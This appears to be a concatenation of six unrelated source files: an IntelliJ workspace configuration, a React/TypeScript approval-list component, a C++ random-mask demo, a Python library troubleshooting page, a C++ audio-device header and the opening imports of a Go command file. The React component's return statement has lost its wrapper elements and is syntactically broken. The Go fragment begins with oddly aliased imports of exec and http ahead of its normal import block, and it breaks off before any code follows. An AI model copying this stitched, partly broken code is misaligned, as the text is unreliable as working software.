      <recent name="$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/jq" />
      <recent name="$PROJECT_DIR$/spa-from-front-to-end" />
      <recent name="$PROJECT_DIR$/spa-from-front-to-end/chapter2/scripts/jq" />
    </key>
  </component>
  <component name="RunManager">
    <configuration default="true" type="DartCommandLineRunConfigurationType" factoryName="Dart Command Line Application">
      <method />
    </configuration>
    <configuration default="true" type="DartTestRunConfigurationType" factoryName="Dart Test">
      <method />
    </configuration>
    <configuration default="true" type="JavaScriptTestRunnerKarma" factoryName="Karma">
      <config-file value="" />
      <node-interpreter value="project" />
      <envs />
      <method />
    </configuration>
    <configuration default="true" type="JavascriptDebugType" factoryName="JavaScript Debug">
      <method />
    </configuration>
    <configuration default="true" type="NodeJSConfigurationType" factoryName="Node.js" path-to-node="project" working-dir="">
      <method />
    </configuration>
    <configuration default="true" type="cucumber.js" factoryName="Cucumber.js">
      <option name="cucumberJsArguments" value="" />
      <option name="executablePath" />
      <option name="filePath" />
      <method />
    </configuration>
    <configuration default="true" type="js.build_tools.gulp" factoryName="Gulp.js">
      <node-interpreter>project</node-interpreter>
      <node-options />
      <gulpfile />
      <tasks />
      <arguments />
      <envs />
      <method />
    </configuration>
    <configuration default="true" type="js.build_tools.npm" factoryName="npm">
      <command value="run-script" />
      <scripts />
      <node-interpreter value="project" />
      <envs />
      <method />
    </configuration>
    <configuration default="true" type="mocha-javascript-test-runner" factoryName="Mocha">
      <node-interpreter>project</node-interpreter>
      <node-options />
      <working-directory />
      <pass-parent-env>true</pass-parent-env>
      <envs />
      <ui />
      <extra-mocha-options />
      <test-kind>DIRECTORY</test-kind>
      <test-directory />
      <recursive>false</recursive>
      <method />
    </configuration>
  </component>
  <component name="ShelveChangesManager" show_recycled="false">
    <option name="remove_strategy" value="false" />
  </component>
  <component name="TaskManager">
    <task active="true" id="Default" summary="Default task">
      <changelist id="7c9492e2-73d0-4827-8b1b-c95312e26620" name="Default" comment="" />
      <created>1506083131339</created>
      <option name="number" value="Default" />
      <option name="presentableId" value="Default" />
      <updated>1506083131339</updated>
      <workItem from="1506083132510" duration="38193000" />
      <workItem from="1506861871958" duration="2837000" />
      <workItem from="1506996447487" duration="50373000" />
      <workItem from="1507521462555" duration="787000" />
    </task>
    <servers />
  </component>
  <component name="TimeTrackingManager">
    <option name="totallyTimeSpent" value="92190000" />
  </component>
  <component name="ToolWindowManager">
    <frame x="0" y="23" width="1440" height="812" extended-state="1" />
    <editor active="true" />
    <layout>
      <window_info id="Project" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.24947146" sideWeight="0.5" order="0" side_tool="false" content_ui="combo" />
      <window_info id="TODO" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="6" side_tool="false" content_ui="tabs" />
      <window_info id="Event Log" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="true" content_ui="tabs" />
      <window_info id="Version Control" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
      <window_info id="Structure" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
      <window_info id="Terminal" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.28674352" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
      <window_info id="Favorites" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="true" content_ui="tabs" />
      <window_info id="Cvs" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="4" side_tool="false" content_ui="tabs" />
      <window_info id="Message" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
      <window_info id="Commander" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
      <window_info id="Inspection" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="5" side_tool="false" content_ui="tabs" />
      <window_info id="Run" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" />
      <window_info id="Hierarchy" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="2" side_tool="false" content_ui="combo" />
      <window_info id="Find" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
      <window_info id="Ant Build" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
      <window_info id="Debug" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" />
    </layout>
  </component>
  <component name="Vcs.Log.UiProperties">
    <option name="RECENTLY_FILTERED_USER_GROUPS">
      <collection />
    </option>
    <option name="RECENTLY_FILTERED_BRANCH_GROUPS">
      <collection />
    </option>
  </component>
  <component name="VcsContentAnnotationSettings">
    <option name="myLimit" value="2678400000" />
  </component>
  <component name="XDebuggerManager">
    <breakpoint-manager />
    <watches-manager />
  </component>
  <component name="editorHistoryManager">
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.model.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="2235">
          <caret line="153" column="9" selection-start-line="153" selection-start-column="9" selection-end-line="153" selection-end-column="9" />
          <folding>
            <element signature="n#!!doc" expanded="true" />
          </folding>
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="210">
          <caret line="17" column="31" selection-start-line="17" selection-start-column="31" selection-end-line="17" selection-end-column="31" />
          <folding>
            <element signature="n#!!doc" expanded="true" />
          </folding>
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.shell.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="0">
          <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
          <folding>
            <element signature="n#!!doc" expanded="true" />
          </folding>
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/styles/spa.shell.css">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="60">
          <caret line="4" column="87" selection-start-line="4" selection-start-column="87" selection-end-line="4" selection-end-column="87" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/mock/spa.fake.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="1320">
          <caret line="92" column="37" selection-start-line="92" selection-start-column="37" selection-end-line="92" selection-end-column="37" />
          <folding>
            <element signature="n#!!doc" expanded="true" />
          </folding>
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.chat.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="120">
          <caret line="8" column="0" selection-start-line="8" selection-start-column="0" selection-end-line="13" selection-end-column="34" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter3/spa.html">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="0">
          <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/.gitignore">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="360">
          <caret line="24" column="18" selection-start-line="24" selection-start-column="18" selection-end-line="24" selection-end-column="18" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter1/spa.html">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="525">
          <caret line="35" column="0" selection-start-line="35" selection-start-column="0" selection-end-line="88" selection-end-column="11" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter2/spa.html">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="120">
          <caret line="8" column="71" selection-start-line="8" selection-start-column="71" selection-end-line="8" selection-end-column="71" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter2/scripts/spa.shell.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="1890">
          <caret line="126" column="21" selection-start-line="126" selection-start-column="21" selection-end-line="126" selection-end-column="21" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter2/styles/spa.css">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="630">
          <caret line="42" column="4" selection-start-line="42" selection-start-column="4" selection-end-line="42" selection-end-column="4" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter2/styles/spa.shell.css">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="1200">
          <caret line="80" column="1" selection-start-line="80" selection-start-column="1" selection-end-line="80" selection-end-column="1" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter2/scripts/jq/jquery-3.2.1.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="0">
          <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/1.gitignore" />
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter2/scripts/jq/jquery-3.2.1.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="0">
          <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter2/styles/spa.css">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="630">
          <caret line="42" column="4" selection-start-line="42" selection-start-column="4" selection-end-line="42" selection-end-column="4" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter2/styles/spa.shell.css">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="1200">
          <caret line="80" column="1" selection-start-line="80" selection-start-column="1" selection-end-line="80" selection-end-column="1" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter2/scripts/jq/jquery.uriAnchor.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="15">
          <caret line="1" column="59" selection-start-line="1" selection-start-column="49" selection-end-line="1" selection-end-column="59" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter2/layout.html">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="128">
          <caret line="89" column="9" selection-start-line="7" selection-start-column="8" selection-end-line="89" selection-end-column="9" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter2/scripts/spa.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="195">
          <caret line="13" column="13" selection-start-line="13" selection-start-column="13" selection-end-line="13" selection-end-column="13" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter2/spa.html">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="165">
          <caret line="18" column="17" selection-start-line="18" selection-start-column="17" selection-end-line="18" selection-end-column="17" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter1/spa.html">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="15">
          <caret line="35" column="0" selection-start-line="35" selection-start-column="0" selection-end-line="88" selection-end-column="11" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter2/scripts/spa.shell.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="135">
          <caret line="9" column="82" selection-start-line="9" selection-start-column="82" selection-end-line="9" selection-end-column="82" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/.gitignore">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="63">
          <caret line="24" column="18" selection-start-line="24" selection-start-column="18" selection-end-line="24" selection-end-column="18" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter3/scripts/spa.model.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="120">
          <caret line="8" column="0" selection-start-line="8" selection-start-column="0" selection-end-line="17" selection-end-column="5" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter3/styles/spa.shell.css">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="330">
          <caret line="91" column="18" selection-start-line="91" selection-start-column="18" selection-end-line="91" selection-end-column="18" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter3/styles/spa.chat.css">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="390">
          <caret line="128" column="0" selection-start-line="128" selection-start-column="0" selection-end-line="128" selection-end-column="0" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter3/scripts/spa.util.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="585">
          <caret line="39" column="32" selection-start-line="39" selection-start-column="32" selection-end-line="39" selection-end-column="32" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/jq/jquery.event.gevent-0.1.9.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="0">
          <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/jq/jquery.event.ue-0.3.2.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="-1326">
          <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/styles/spa.css">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="-375">
          <caret line="16" column="27" selection-start-line="16" selection-start-column="27" selection-end-line="16" selection-end-column="27" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter3/spa.html">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="195">
          <caret line="13" column="58" selection-start-line="13" selection-start-column="58" selection-end-line="13" selection-end-column="58" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter3/scripts/spa.shell.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="147">
          <caret line="135" column="11" selection-start-line="135" selection-start-column="11" selection-end-line="135" selection-end-column="11" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter3/styles/spa.css">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="30">
          <caret line="35" column="0" selection-start-line="35" selection-start-column="0" selection-end-line="35" selection-end-column="0" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter3/scripts/spa.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="255">
          <caret line="17" column="6" selection-start-line="17" selection-start-column="6" selection-end-line="17" selection-end-column="6" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter3/scripts/spa.chat.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="139">
          <caret line="204" column="16" selection-start-line="204" selection-start-column="4" selection-end-line="204" selection-end-column="16" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/styles/spa.avtr.css">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="45">
          <caret line="3" column="2" selection-start-line="3" selection-start-column="2" selection-end-line="3" selection-end-column="2" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.util.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="15">
          <caret line="1" column="11" selection-start-line="1" selection-start-column="11" selection-end-line="1" selection-end-column="11" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.chat.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="120">
          <caret line="8" column="0" selection-start-line="8" selection-start-column="0" selection-end-line="13" selection-end-column="34" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.data.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="120">
          <caret line="8" column="0" selection-start-line="8" selection-start-column="0" selection-end-line="18" selection-end-column="5" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.util_b.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="159">
          <caret line="87" column="22" selection-start-line="87" selection-start-column="22" selection-end-line="87" selection-end-column="22" />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.avtr.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="225">
          <caret line="15" column="0" selection-start-line="15" selection-start-column="0" selection-end-line="18" selection-end-column="5" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/semantic.css" />
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="210">
          <caret line="17" column="31" selection-start-line="17" selection-start-column="31" selection-end-line="17" selection-end-column="31" />
          <folding>
            <element signature="n#!!doc" expanded="true" />
          </folding>
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/spa.html">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="465">
          <caret line="31" column="44" selection-start-line="31" selection-start-column="44" selection-end-line="31" selection-end-column="44" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.model.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="2235">
          <caret line="153" column="9" selection-start-line="153" selection-start-column="9" selection-end-line="153" selection-end-column="9" />
          <folding>
            <element signature="n#!!doc" expanded="true" />
          </folding>
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/mock/spa.fake.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="1320">
          <caret line="92" column="37" selection-start-line="92" selection-start-column="37" selection-end-line="92" selection-end-column="37" />
          <folding>
            <element signature="n#!!doc" expanded="true" />
          </folding>
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/styles/spa.shell.css">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="60">
          <caret line="4" column="87" selection-start-line="4" selection-start-column="87" selection-end-line="4" selection-end-column="87" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/chapter4/scripts/spa.shell.js">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="75">
          <caret line="5" column="20" selection-start-line="5" selection-start-column="20" selection-end-line="5" selection-end-column="20" />
          <folding>
            <element signature="n#!!doc" expanded="true" />
          </folding>
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/spa-from-front-to-end/README.md">
      <provider editor-type-id="split-provider[text-editor;markdown-preview-editor]">
        <state split_layout="SPLIT">
          <first_editor relative-caret-position="0">
            <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
            <folding />
          </first_editor>
          <second_editor />
        </state>
      </provider>
      <provider selected="true" editor-type-id="split-provider[text-editor;MarkdownPreviewEditor]">
        <state split_layout="SPLIT">
          <first_editor relative-caret-position="540">
            <caret line="37" column="3" selection-start-line="37" selection-start-column="3" selection-end-line="37" selection-end-column="3" />
            <folding />
          </first_editor>
          <second_editor>
            <js_state />
          </second_editor>
        </state>
      </provider>
    </entry>
  </component>
</project>


text:
import React from 'react'
import { useSelector } from 'react-redux'
import { sort } from '@petrdorg/utils/lib/array'

import Typography from '@material-ui/core/Typography'
import { Theme, createStyles } from '@material-ui/core/styles'
import { makeStyles } from '@material-ui/styles'

import { useInstances } from '../../../hooks'
import useFetch from '../../../hooks/useFetch'
import * as Models from '../../../models'
import { fetchApprovals } from '../../../state/reducers/data/approval'
import { fetchItems } from '../../../state/reducers/data/item'
import {
	activeUsersSelector,
	approvalItemsSelector
} from '../../../state/selectors'

import PrototypeItem from '../../common/Item/PrototypeItem'
import RequestItem from '../../common/Item/RequestItem'
import ServiceItem from '../../common/Item/ServiceItem'
import DataList, { InitialState } from '../../common/DataList'
import ApprovalItem from './ApprovalItem'

const useStyles = makeStyles((theme: Theme) =>
	createStyles({
		root: {
			display: 'flex',
			justifyContent: 'center',
			height: '100%'
		},
		content: {
			display: 'grid',
			gridTemplateColumns: '1fr',
			gridTemplateRows:
				'min-content minmax(auto, max-content) min-content minmax(auto, max-content)',
			gridGap: theme.spacing(3),
			width: 800,
			height: '100%'
		},
		list: {},
		toolbar: {
			alignSelf: 'flex-end',
			marginBottom: theme.spacing(2)
		},
		buttonIcon: {
			marginRight: theme.spacing(1)
		},
		menu: {
			width: 120
		}
	})
)

const renderApproval = (approval: Models.Approval) => (
	<ApprovalItem key={approval.id} id={approval.id} />
)
const renderItem = (item: Models.ItemBase) =>
	item.typeId === 'request' ? (
		<RequestItem key={item.id} id={item.id} />
	) : item.typeId === 'service' ? (
		<ServiceItem key={item.id} id={item.id} />
	) : (
		<PrototypeItem key={item.id} id={item.id} />
	)

const initialListState: InitialState = {
	searchBy: 'note',
	searchValue: '',
	sortOrder: 'descending',
	sortBy: 'createdAt'
}
const approvalInitialState = { searchBy: 'name', searchValue: '' }

const ApprovalView: React.FunctionComponent = () => {
	const classes = useStyles()
	const users = useSelector(
		activeUsersSelector,
		(l, r) => l.join('') === r.join('')
	)

	const approvals = useInstances<Models.Approval>('approvals', {})
	const approvalData = useSelector(approvalItemsSelector())
	const approvalItems = useInstances<Models.ItemBase, Models.ItemBase>(
		'items',
		{
			ids: approvalData ? approvalData.ids : [],
			callback: React.useCallback(
				(data: Models.ItemBase[]) =>
					sort(
						data,
						{ ascending: false },
						'lastStatusChange',
						'createdAt'
					),
				[]
			)
		}
	)

	useFetch(fetchApprovals)
	useFetch(
		React.useCallback(
			() =>
				fetchItems({
					statusVariant: 'approval',
					typeId: 'request',
					userId: users
				}),
			[users]
		)
	)

	if (!approvals && !approvalItems) return null

	return (

				<Typography variant="h5" color="textSecondary">
					Waiting for approval
				</Typography>
				<DataList
					id="approval-view-current"
					data={approvalItems}
					isFetching={approvalData ? approvalData.fetching : false}
					itemRenderer={renderItem}
					initialState={approvalInitialState}
					searchable
					sortable
					filterable
					searchItems={[
						{
							value: 'name',
							label: 'Name'
						},
						{
							value: 'id',
							label: 'Id'
						}
					]}
				/>
				<Typography variant="h5" color="textSecondary">
					Approval history
				</Typography>
				<DataList
					id="approval-view"
					data={approvals}
					itemRenderer={renderApproval}
					initialState={initialListState}
					searchable
					sortable
					filterable
					searchItems={[
						{
							label: 'Note',
							value: 'note'
						},
						{
							label: 'Result',
							value: 'result'
						}
					]}
					sortItems={[
						{
							label: 'Date',
							value: 'createdAt'
						}
					]}
					filterItems={[
						{
							label: 'Result',
							value: 'result'
						}
					]}
				/>

	)
}

export default ApprovalView


text:
#include <cxxomfort/cxxomfort.hpp>
#include <cstdlib>
#include <ctime>
#include <iostream>
#include <iomanip>
#include <algorithm>
#include <cxx-entero/cxx-entero.hpp>
#include <cxxomfort/extras/foreach.hpp>

/*
 * Sample program:
 * read a bigint from stdin, then randomly draw integer masks and
 * AND them to the number until we get a zero
 * (or until tries have been exhausted)
 */

// change this for playing around
typedef lpp::entero::Natural<32> NumT;
//static_assert (lpp::entero::is_Entero<NumT>::value or lpp::entero::is_Natural<NumT>::value, "Use for 'NumT' a entero type.");

NumT GetRandomNumber ();

int main () {
	using namespace std;
	NumT numero;
	cout<< "Input a "<< 2*sizeof(NumT)<< "-digit hex number\n>"<< flush;
	cin>> hex>> numero>> dec; //< note as of first revision this reads in hex
	cout<< "> "<< numero<< endl;

	unsigned short NumTries= 32;
	while (numero != NumT(0) && NumTries > 0) {
		NumT rmask = GetRandomNumber();
		numero&= rmask;
		cout<< setw(4)<< right<< NumTries<< " ";
		cout<< flush<< numero;
		cout<< "  from "<< rmask;
		cout<< endl;
		--NumTries;
	}

}

#include <random>

/*
 * Simple implementation we just put C++'s <random> to good use
 * TODO: research a means to adapt uniform_int_distribution<> to enteros.
 */
NumT GetRandomNumber () {
	using namespace std;
	static minstd_rand0 mg ( ~ time(0));
	mg();

	unsigned char randbytes[sizeof(NumT)]= {0};
	generate(randbytes, randbytes + sizeof(NumT), mg);
	unsigned char u = ~ 1 << (mg() % CHAR_BIT);
	u= ~(u | 1);
	CXXO_FOREACH(unsigned char& r, randbytes) {
		r&= u;
	}

	NumT ret (0);
	memcpy(&ret, randbytes, sizeof(NumT));
	//cerr<< " [written = "<< ret<< " ] "<< endl;

	return ret;
}


text:
===============
Troubleshooting
===============

Sometimes things go wrong. Here are some common things to check when
encountering problems after installing.

*It says no such package when I import groupy...*
    Check whether you copied the ``groupy`` package into the correct python package directory. It must be a directory on your ``sys.path``.

*I get an unauthorized error when I try to do anything...*
    Check that your API token is correct just before you use it to create a Groupy client.

*I get an HTTP 429 response when I try to send a direct message to another user...*
    You must use an API access token obtained via creation of an `application`_.

.. _application: https://dev.groupme.com/applications


text:
#ifndef DEVICEUPDATER_H_INCLUDED_C419EA9C
#define DEVICEUPDATER_H_INCLUDED_C419EA9C

#include "openalpp/streamupdater.h"
#include "openalpp/error.h"
#include "openalpp/export.h"

#ifdef ALPP_USE_PORT_AUDIO
#include <portaudio.h>

namespace openalpp {

/**
 * Updater for sound input devices (like microphones).
 */
class  DeviceUpdater : public StreamUpdater, public ost::Semaphore {
  PortAudioStream *stream_;
  ost::Mutex inputmutex;
  char *tmpbuffer_;
  int tmpbufsize_,maxtmpbufsize_;
  int bytesperframe_;
 public:
  /**
   * Constructor.
   * @param device is the number of the device (as PortAudio reports it).
   * TODO: Change this to something non-portaudio dependant.
   * @param frequency is the desired recording frequency.
   * @param buffersize is the desired buffersize.
   * @param format is the format of the sound.
   * @param buffer1 and..
   * @param buffer2 are the (OpenAL) buffers to use.
   */
  OPENALPP_API DeviceUpdater(int device, unsigned int frequency,unsigned int buffersize,
		SampleFormat format,
		ALuint buffer1,ALuint buffer2);

  /**
   * Destructor.
   */
  OPENALPP_API ~DeviceUpdater();

  /**
   * Inherited from Thread.
   * This will be called when the updater is Start():ed..
   */
  OPENALPP_API void run();

  /**
   * Enter critical section.
   */
  OPENALPP_API inline void Enter() {inputmutex.enterMutex();}

  /**
   * Leave critical section.
   */
  OPENALPP_API inline void Leave() {inputmutex.leaveMutex();}

  /**
   * Copy input from callback to temporary buffer.
   * Update will copy the data from the temporary buffer to a sound buffer.
   * @param tempbuffer is a pointer to the buffer
   * @param length is the length - in bytes - of the buffer
   */
  OPENALPP_API void CopyInput(void *tempbuffer,int length);
};

}
#endif // ifdef ALPP_USE_PORTAUDIO

#endif /* DEVICEUPDATER_H_INCLUDED_C419EA9C */


text:
package commands
import os__ "os"
import bytes__ "bytes"
import http__ "net/http"
import json__ "encoding/json"
import exec__ "os/exec"
import ioutil__ "io/ioutil"

import (
	"fmt"
	"os"
	"path/filepath"
	"strings"

	"github.com/jcelliott/lumber"
	"github.com/spf13/cobra"

	"github.com/nanobox-io/nanobox/commands/registry"
	"github.com/nanobox-io/nanobox/commands/server"
